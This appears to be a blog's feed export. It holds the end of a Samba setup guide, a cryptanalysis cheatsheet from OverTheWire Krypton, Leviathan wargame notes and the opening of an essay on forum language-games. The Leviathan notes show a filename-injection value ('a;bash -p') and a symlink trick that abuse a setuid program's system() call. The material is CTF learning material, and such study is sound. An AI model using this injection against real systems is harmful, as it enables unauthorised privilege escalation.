&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;           ├─3427 /usr/sbin/smbd --foreground --no-process-group&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;           └─3430 /usr/sbin/smbd --foreground --no-process-group&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Mar 03 11:46:36 hal9001 systemd[1]: Stopped Samba SMB Daemon.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Mar 03 11:46:36 hal9001 systemd[1]: Starting Samba SMB Daemon...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Mar 03 11:46:36 hal9001 systemd[1]: Started Samba SMB Daemon.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lastly, you’ll have to create a client account for the Samba server, just run the &lt;code&gt;smbpasswd&lt;/code&gt; command like the following, replacing &lt;code&gt;sumit&lt;/code&gt; with your username. It’ll prompt you for a new password; you’ll need that later for connecting to this Samba server from Windows.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@hal9001:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo smbpasswd -a sumit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;New SMB password:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Retype new SMB password:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Added user sumit.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@hal9001:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo pdbedit -L&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;sumit:1000:Sumit Ghosh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;connect-to-the-samba-server-from-windows&quot;&gt;Connect to the Samba server from Windows&lt;/h3&gt;
&lt;p&gt;For this step, you’ll need the IP address of your Linux VM. You can get that by running &lt;code&gt;ip a&lt;/code&gt; ::&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@hal9001:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ ip a&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    inet 127.0.0.1/8 scope host lo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;       valid_lft forever preferred_lft forever&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    inet6 ::1/128 scope host&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;       valid_lft forever preferred_lft forever&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;2: ens33: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    link/ether 00:0c:29:bc:46:4d brd ff:ff:ff:ff:ff:ff&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    inet 192.168.13.129/24 brd 192.168.13.255 scope global dynamic ens33&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;       valid_lft 1777sec preferred_lft 1777sec&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    inet6 fe80::20c:29ff:febc:464d/64 scope link&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;       valid_lft forever preferred_lft forever&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can see that in my case, the IP is &lt;code&gt;192.168.13.129&lt;/code&gt;. Note down yours.&lt;/p&gt;
&lt;p&gt;Now, once you have the IP of your Linux VM, go to your Windows host and do the following ::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Select “Add a network location” from the context menu you get on right-clicking on “This PC”, see the screenshot below for reference.&lt;/li&gt;
&lt;li&gt;A wizard will open up. Select Next ➝ Choose a custom network location.&lt;/li&gt;
&lt;li&gt;Enter &lt;code&gt;\\192.168.13.129\\SambaShare\&lt;/code&gt; in the “Internet or network address” box and click “Next”. It goes without saying that you put the IP you noted down in there instead of mine.&lt;/li&gt;
&lt;li&gt;Finish the wizard by clicking Next ➝ Finish.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/linux-vm-samba-add-network-location.png&quot; alt=&quot;add-network-location&quot;&gt;&lt;/p&gt;
&lt;p&gt;Once it’s added, it’ll ask you for credentials; enter the username and password you set up in the previous step using &lt;code&gt;smbpasswd&lt;/code&gt;. And voila, you’ll get your samba drive mounted as a network location!!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/linux-vm-samba-network-location-added.png&quot; alt=&quot;network-location-added&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;potential-drawbacks&quot;&gt;Potential Drawbacks&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;If you don’t have enough hardware, such as RAM, to afford to keep a VM running at all time, this method is not for you.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Cryptanalysis Cheatsheet :: Notes from Overthewire Krypton</title><link>https://sumit-ghosh.com/posts/cryptanalysis-cheatsheet-notes-overthewire-krypton/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/cryptanalysis-cheatsheet-notes-overthewire-krypton/</guid><description>Cryptanalysis Cheatsheet :: Notes from Overthewire Krypton — by Sumit Ghosh.</description><pubDate>Tue, 25 Feb 2020 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;I’ve been on a wargame streak! After doing &lt;a href=&quot;https://sumit-ghosh.com/posts/notes-overthewire-leviathan/&quot;&gt;Leviathan&lt;/a&gt;, I jumped into &lt;a href=&quot;https://overthewire.org/wargames/krypton/&quot;&gt;Krypton&lt;/a&gt; and completed it; and this post is in a way a write-up of Krypton. Krypton, Leviathan, in case these words sound alien to you: well they’re wargames—or Ctfs—hosted by &lt;a href=&quot;https://overthewire.org/wargames/&quot;&gt;Overthewire.org&lt;/a&gt;. They’re very internet favorite and beginners often start with them, and that’s why I did exactly that. Also, instead of following the standard writeup format, this post will be more of a collection of notes for future reference.&lt;/p&gt;
&lt;h3 id=&quot;cracking-the-caesar-cipher&quot;&gt;Cracking the Caesar cipher&lt;/h3&gt;
&lt;p&gt;As there are only 26 possible key values, we can just brute force through them and select the best key. The selection of the best key can be done manually, by checking if the corresponding plaintext is English or not. It can also be done algorithmically, but for that, we’ll need some statistical measure to quantify how close the plaintext is to standard English. The following can be helpful to that end.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Chi-squared value&lt;/li&gt;
&lt;li&gt;N-gram probability&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;identifying-substitution-cipher-monoalphabetic-vs-polyalphabetic&quot;&gt;Identifying substitution cipher: monoalphabetic vs polyalphabetic&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;http://practicalcryptography.com/cryptanalysis/text-characterisation/index-coincidence/&quot;&gt;&lt;em&gt;index of coincidence&lt;/em&gt;&lt;/a&gt;, or IC helps us in identifying whether a ciphertext was encrypted with a monoalphabetic or a polyalphabetic substitution cipher.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Index of coincidence captures the overall nature of the distribution curve of the letters, how &lt;em&gt;flat&lt;/em&gt; or &lt;em&gt;rough&lt;/em&gt; the distribution is; it does not capture the distribution of each individual letters. The higher the IC, the more rough// skewed the distribution of letters in the ciphertext is. Standard English has a &lt;a href=&quot;https://en.wikipedia.org/wiki/Letter_frequency&quot;&gt;fairly rough distribution&lt;/a&gt; of letters, thus a high IC count, approximately 0.067.&lt;/li&gt;
&lt;li&gt;If the IC of the ciphertext is close to that of English, it’s a monoalphabetic cipher. If it’s considerably smaller than that of English, it’s polyalphabetic.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;monoalphabetic-substitution-cipher&quot;&gt;Monoalphabetic substitution cipher&lt;/h3&gt;
&lt;h4 id=&quot;manual-cryptanalysis&quot;&gt;Manual cryptanalysis&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Frequency analysis :: Find the frequencies of the characters in the ciphertext and list them in descending order. Then assume that the characters—in order—correspond to the standard frequency order of characters in English; i.e. the most frequent character of the cipher is the encrypted version of ‘E’, the most frequent character in English, and so on.&lt;/li&gt;
&lt;li&gt;Manual inspection :: The result of the previous step won’t be perfect English, but some parts of it will start to resemble English words. Identify them and keep correcting the substitution key accordingly until you reach a text in perfect English.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;algorithmic-cryptanalysis&quot;&gt;Algorithmic cryptanalysis&lt;/h4&gt;
&lt;p&gt;A standard hill-climbing algorithm can be used to crack monosubstitution ciphers. The algorithm starts with a random key and makes some small changes to it. If the changes result in a &lt;em&gt;better&lt;/em&gt; key, it keeps that and makes changes in that, and in this way it carries on until it reaches a peak, i.e. no more improvement is possible.&lt;/p&gt;
&lt;p&gt;For this, you’ll need a measure of how good your key is. As we discussed in the section on the Caesar cipher, one way to do this is to decrypt the ciphertext with the key and measure how close the resulting plaintext is to standard English. But then, you’ll need a way to quantify this &lt;em&gt;closeness&lt;/em&gt;. Below are some statistical measures that do exactly that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Chi-squared value&lt;/li&gt;
&lt;li&gt;N-gram probability&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/SkullTech/cryptanalysis-scripts&quot;&gt;Here&lt;/a&gt; is a script I wrote that implements this, and it can crack all monoalphabetic substitution ciphers pretty easily.&lt;/p&gt;
&lt;h3 id=&quot;cracking-the-vignere-cipher&quot;&gt;Cracking the Vignere cipher&lt;/h3&gt;
&lt;h4 id=&quot;step-1-finding-out-the-key-length&quot;&gt;Step 1: Finding out the key length&lt;/h4&gt;
&lt;p&gt;Once again, the index of coincidence comes to the rescue!!&lt;/p&gt;
&lt;p&gt;Let’s assume the key length is k = 3. Now, split the ciphertext into 3 parts, one containing the 1st letter of every 3 letter blocks, other containing every 2nd letter, and another containing every 3rd letter. Calculate the IC of each part and take the average. If the average IC is close to that of English, our assumed k is the correct one. If it isn’t, try with some other value of k. In this way, we can brute force the value of k, starting from 2 and going up. &lt;a href=&quot;http://practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-vigenere-cipher/&quot;&gt;Here&lt;/a&gt; is a more detailed explanation of this method.&lt;/p&gt;
&lt;h4 id=&quot;step-2-finding-out-the-key&quot;&gt;Step 2: Finding out the key&lt;/h4&gt;
&lt;p&gt;Once we have the key length, we can find the key letter by letter, using the aid of chi-squared analysis. For example, the 1st letter of the key can be found out by ::&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Creating a string containing the 1st letter of every block of the ciphertext.&lt;/li&gt;
&lt;li&gt;Now, as all the letters of this string were encrypted with a single letter of the key, the problem reduces to that of a caesar cipher. We can brute force all the letters of the alphabet and find the letter which yields the best plaintext, i.e. the one with the best chi-squared value.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We can run the above two steps k times to get all the letters of the key.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/SkullTech/cryptanalysis-scripts&quot;&gt;Here&lt;/a&gt; is a script that implements the above both of the above steps, and thus automates the entire process of cracking a Vignere cipher.&lt;/p&gt;
&lt;h3 id=&quot;cryptanalysis-of-lfsr-encryption&quot;&gt;Cryptanalysis of LFSR encryption&lt;/h3&gt;
&lt;p&gt;LFSR is not an encryption technique, rather, it’s an algorithm for generating pseudorandom numbers. The sequence of pseudorandom numbers generated by an LFSR can be used as the one-time pad for an encryption algorithm. However, it has a major weakness: the numbers generated are periodic, and an attacker can figure out the key using a known plaintext attack.&lt;/p&gt;
&lt;p&gt;Berlekamp–Massey algorithm is the algorithm for cracking LFSR sequences.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://practicalcryptography.com/cryptanalysis/modern-cryptanalysis/lfsrs-and-berlekampmassey-algorithm/&quot;&gt;Practical Cryptography article&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Berlekamp%E2%80%93Massey_algorithm&quot;&gt;Wikipedia article&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The challenge on Krypton, however, is very simple and does not necessitate the Berlekamp–Massey algorithm.&lt;/p&gt;
</content:encoded></item><item><title>Notes from Overthewire Leviathan</title><link>https://sumit-ghosh.com/posts/notes-overthewire-leviathan/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/notes-overthewire-leviathan/</guid><description>Notes from Overthewire Leviathan — by Sumit Ghosh.</description><pubDate>Mon, 10 Feb 2020 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Recently I was free for a couple of days with nothing to do, leading to an itch to do some hacking: Ctfs, wargames and the like. For beginners, the Internet heartily recommends the &lt;a href=&quot;https://overthewire.org/wargames/&quot;&gt;Overthewire&lt;/a&gt; wargames, so I went for that. I had already done the &lt;a href=&quot;https://overthewire.org/wargames/bandit/&quot;&gt;&lt;em&gt;Bandit&lt;/em&gt;&lt;/a&gt; wargame—you can find my notes &lt;a href=&quot;https://sumit-ghosh.com/posts/notes-overthewire-bandit/&quot;&gt;here&lt;/a&gt;—so this time I started with &lt;a href=&quot;https://overthewire.org/wargames/leviathan/&quot;&gt;Leviathan&lt;/a&gt;. In this post I’ll dump my notes; these are not exactly solutions or walkthroughs, or writeup even, rather a list of things// concepts I learned by doing this wargame that I’d like to remember. Hoping this will be of some help!&lt;/p&gt;
&lt;h4 id=&quot;useful-linux-commands-for-looking-for-information-in-executable&quot;&gt;Useful Linux commands for looking for information in executable.&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;At first, use &lt;code&gt;strings&lt;/code&gt; to check for strings in the binary.&lt;/li&gt;
&lt;li&gt;Trace through the library calls using &lt;code&gt;ltrace&lt;/code&gt;; specifically, &lt;code&gt;ltrace -e strcmp&lt;/code&gt; can be useful for password cracking.&lt;/li&gt;
&lt;li&gt;Trace through system calls using &lt;code&gt;strace&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;interpreting-the-output-of-ls--l&quot;&gt;Interpreting the output of ls -l&lt;/h4&gt;
&lt;p&gt;The section is pretty much a rewording of &lt;a href=&quot;https://unix.stackexchange.com/a/103118/394075&quot;&gt;this&lt;/a&gt; StackOverflow answer.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;-rwxrw-r--    1    root   root 2048    Jan 13 07:11 afile.exe&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From left to right, it displays;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;File permissions&lt;/li&gt;
&lt;li&gt;Number of links&lt;/li&gt;
&lt;li&gt;Owner name&lt;/li&gt;
&lt;li&gt;Owner group&lt;/li&gt;
&lt;li&gt;File size&lt;/li&gt;
&lt;li&gt;Time of last modification&lt;/li&gt;
&lt;li&gt;File/ directory name&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;File permissions are displayed as the following;&lt;br&gt;
The first character is &lt;code&gt;-&lt;/code&gt; or &lt;code&gt;l&lt;/code&gt; or &lt;code&gt;d&lt;/code&gt;, indicating the nature of the object.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;d&lt;/code&gt;: directory&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-&lt;/code&gt;: file&lt;/li&gt;
&lt;li&gt;&lt;code&gt;l&lt;/code&gt;: symlink.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After that, there are three sets of characters, three characters each, indicating permissions for the owner, the group and everyone else, respectively.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;r&lt;/code&gt;: readable&lt;/li&gt;
&lt;li&gt;&lt;code&gt;w&lt;/code&gt;: writable&lt;/li&gt;
&lt;li&gt;&lt;code&gt;x&lt;/code&gt;, &lt;code&gt;s&lt;/code&gt; or &lt;code&gt;t&lt;/code&gt;: executable, setuid// setgid, or sticky&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;effective-user-id-real-user-id-and-the-special-permission-flags&quot;&gt;Effective user id, real user id and the special permission flags&lt;/h4&gt;
&lt;p&gt;The third bit in each set of three permission bits usually is used for the &lt;code&gt;x&lt;/code&gt; bit, which implies that the file is executable, but it can also have an &lt;code&gt;s&lt;/code&gt; or &lt;code&gt;t&lt;/code&gt; flag. &lt;a href=&quot;https://linuxconfig.org/how-to-use-special-permissions-the-setuid-setgid-and-sticky-bits&quot;&gt;Here&lt;/a&gt; is an article that goes in depth into how these special permissions work. The &lt;code&gt;s&lt;/code&gt; flag is rather important; it’s called &lt;code&gt;setuid&lt;/code&gt; if it’s in the owner permissions, and &lt;code&gt;setgid&lt;/code&gt; if it’s in the group permissions. When the &lt;code&gt;setuid&lt;/code&gt; flag is set, the file will always be executed as the owner, i.e. with the priviledges of the owner, even if some other user is executing it. Similarly, the &lt;code&gt;setgid&lt;/code&gt; flag lets us run the executable with the priviledges of the group.&lt;/p&gt;
&lt;p&gt;Every running program gets to see two user ids;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Real user id — The user id of the user who actually executed the program.&lt;/li&gt;
&lt;li&gt;Effective user id — The user id with whose priviledge the executable is being run. Normally, this is the same as the real user id. But when an executable has the &lt;code&gt;setuid&lt;/code&gt; flag set, the effective uid equals the uid of the owner.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Relevant C library functions;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;geteuid&lt;/code&gt;, &lt;code&gt;getruid&lt;/code&gt;, &lt;code&gt;setreuid&lt;/code&gt; — For getting the effective user id, getting the real user id, and setting the real and effective user id at once, respectively.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;access&lt;/code&gt; — For checking if the &lt;em&gt;real user&lt;/em&gt; has access to a file. Even if the executable had the &lt;code&gt;setuid&lt;/code&gt; flag set, it’d check the priviledges of the real uid, not the effective uid.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;leviathan-level-2--3&quot;&gt;Leviathan: level 2 ➝ 3&lt;/h4&gt;
&lt;p&gt;This level was the most interesting level of Leviathan, so I’ll make an exception and kind of write a usual walkthrough for this level.&lt;/p&gt;
&lt;p&gt;There are two vulnerabilities in this program.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Race condition — Between the first check and the second &lt;code&gt;system&lt;/code&gt; function call, there is a time gap. If we can change the argument file—which is a symbolic link—in the meantime, we can bypass the check. We can write a simple bash script to keep doing this in a while loop, and just wait till the race condition occurs. &lt;a href=&quot;https://www.win.tue.nl/~aeb/linux/hh/hh-9.html&quot;&gt;Here&lt;/a&gt; is the approach explained in more detail.&lt;/li&gt;
&lt;li&gt;Code injection — The command-line argument was passed verbatim to the C library function &lt;code&gt;system&lt;/code&gt;, i.e. shell. So we can carefully craft a filename that would pass the first check but when it’d come to the &lt;code&gt;system&lt;/code&gt; call, it’d do whatever we want, on an escalated priviledge. Below are some ways we can approach this
&lt;ul&gt;
&lt;li&gt;Create two files, one named “&lt;code&gt;a&lt;/code&gt;” and another named “&lt;code&gt;a;bash -p&lt;/code&gt;”. On passing the 2nd filename as the argument, the program will check if I own the it, and will let us pass. but when it comes to the system call, it’d call &lt;code&gt;$ cat a;bash -p&lt;/code&gt;, which would clearly give us a bash shell, just what we wanted.&lt;/li&gt;
&lt;li&gt;Or we can create three files, namely “&lt;code&gt;a&lt;/code&gt;”, “&lt;code&gt;b&lt;/code&gt;”, and “&lt;code&gt;a b&lt;/code&gt;”. Then we just need to symlink “&lt;code&gt;b&lt;/code&gt;” to the secret file and pass “&lt;code&gt;a b&lt;/code&gt;” as the argument to the program. Voila. the contents of the secret file get printed. This happens because, as we discussed, the program passes the string we provide to &lt;code&gt;system&lt;/code&gt; verbatim, in this case, it runs &lt;code&gt;$ cat a b&lt;/code&gt;, which prints both “&lt;code&gt;a&lt;/code&gt;” and “&lt;code&gt;b&lt;/code&gt;”.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Inspecting the Self-Referentiality and Social Dynamics of Internet Forums</title><link>https://sumit-ghosh.com/posts/self-referentiality-and-social-dynamics-of-internet-forums/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/self-referentiality-and-social-dynamics-of-internet-forums/</guid><description>Inspecting the Self-Referentiality and Social Dynamics of Internet Forums — by Sumit Ghosh.</description><pubDate>Sat, 01 Feb 2020 18:30:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;When it comes to language games, Internet forums are a unique and novel kind. Internet forums—also referred to as only “forums” elsewhere in this text—are websites where people can hold conversations in the form of posted messages. In our discussion, we’ll be considering all Internet forums, but focusing on Reddit, a specific and representative example of them.&lt;/p&gt;
&lt;p&gt;The initial goal of Reddit is communicated in its tagline—“the front page of the Internet”. Pages of all kinds from around the Internet would get posted on Reddit, and through the voting mechanism only the &lt;em&gt;best&lt;/em&gt; ones would surface on the ‘hot’ page; in this way the website would act as a “front page” of the Internet, aggregating the &lt;em&gt;best&lt;/em&gt; of what Internet has to offer. Furthermore, that is the model for many other popular forums on the Internet, such as Hackernews and Digg. But as research has shown, this model doesn’t hold up for Reddit; as the community grows, Reddit becomes more self-referential and less of a link aggregator&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot; id=&quot;user-content-fnref-1&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. In the first section, we explore this aspect of forums through the lens of Wittgenstein’s language-game paradigm. In later sections, we explore how this language-game can be also be understood as part of the Lacanian symbolic order, how interpassivity plays a role in the dynamics of social navigation, and how all these ultimately conforms the nature of the posts of a forum to a particular standard, albeit the standard is different for every forum.&lt;/p&gt;
&lt;h2 id=&quot;a-peculiar-three-person-language-game-analyzed-differentially&quot;&gt;A peculiar three-person language-game, analyzed differentially&lt;/h2&gt;
&lt;p&gt;Language games are the emergent rules or maxims of communication, often subconsciously followed, which occur in ordinary conversation&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot; id=&quot;user-content-fnref-2&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;. We can not find language-games in the syntax or semantics of a linguistic construct—we cannot find them in the rules of a language; instead, they’re hidden in the meta-rules. Whereas rules dictate what’s linguistically valid, meta-rules tell us how to deal with the rules, how to use them, or where to break them. An example relevant to the Internet could be the memes that play upon language and generate alternate variations thereof—such as lolspeak&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot; id=&quot;user-content-fnref-3&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;—which are humorous in the right context.&lt;/p&gt;
&lt;p&gt;As Saussure insisted, signs or signifiers are a &lt;em&gt;differential&lt;/em&gt; system: no sign can be defined in isolation from other signs, they can only be defined through their relations and differences with other signs. In this Sausserian spirit, we intend to get at the nature of the &lt;em&gt;players&lt;/em&gt; involved in this language-game of Internet forums by contrasting forums with other similar platforms.&lt;/p&gt;
&lt;p&gt;Internet forums are where people hold conversations in the form of posted messages—through this sentence, only an obvious similarity can be observed between forums and online chatrooms: they’re both places for people to have a discussion online. Chatrooms are usually used as an online replacement of real-life group discussions, wherein multiple participants converse with each other simultaneously. So, we can understand it as a many-player language-game, each of the players being human individuals. The number of players doesn’t always have to be more than two, two people hold a conversation in a chat room as well, disregarding everyone else.&lt;/p&gt;
&lt;p&gt;The language-game being played out in Internet forums might seem similar at first glance; however, they differ from chat rooms in an important way, the point of difference being a central part of our discussion. Messages posted in chat rooms are supposed to be temporary and read by the people active at that time only, whereas messages in forums are archived—usually indefinitely—so that they’re available for any and all future visitors. When someone writes on an Internet forum, his audience is not only the person he’s replying to, rather, his audience is the entire populace of the future visitors of that thread. So, instead of it thinking of it as a language game between human individuals, we can imagine it as a three-player one, where the third person is the set of visitors to that forum.&lt;/p&gt;
&lt;p&gt;The existence of a third-party observer to a conversation by itself is not unusual or particular to Internet forums only. Public debate, for example, is a form of discourse having a comparable format, which existed before the Internet. A difference we can notice is that the audience of a public debate is usually passive listeners, whereas in online forums, everyone is free to actively participate as they like. However, more importantly, the audience of a debate usually meets for a brief time, so there is not much opportunity for language-games to be established, and this is the key difference between them in the context of language-games.&lt;/p&gt;
&lt;h2 id=&quot;social-navigation-the-big-other-and-interpassivity&quot;&gt;Social navigation, the big Other and interpassivity&lt;/h2&gt;
&lt;p&gt;Reddit used to describe itself as&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot; id=&quot;user-content-fnref-4&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;… a source for what’s new and popular on the web. Users like you provide all of the content and decide, through voting, what’s good and what’s junk. Links that receive community approval bubble up towards #1, so the front page is constantly in motion and (hopefully) filled with fresh, interesting links.&lt;/p&gt;
&lt;/blockquote&gt;
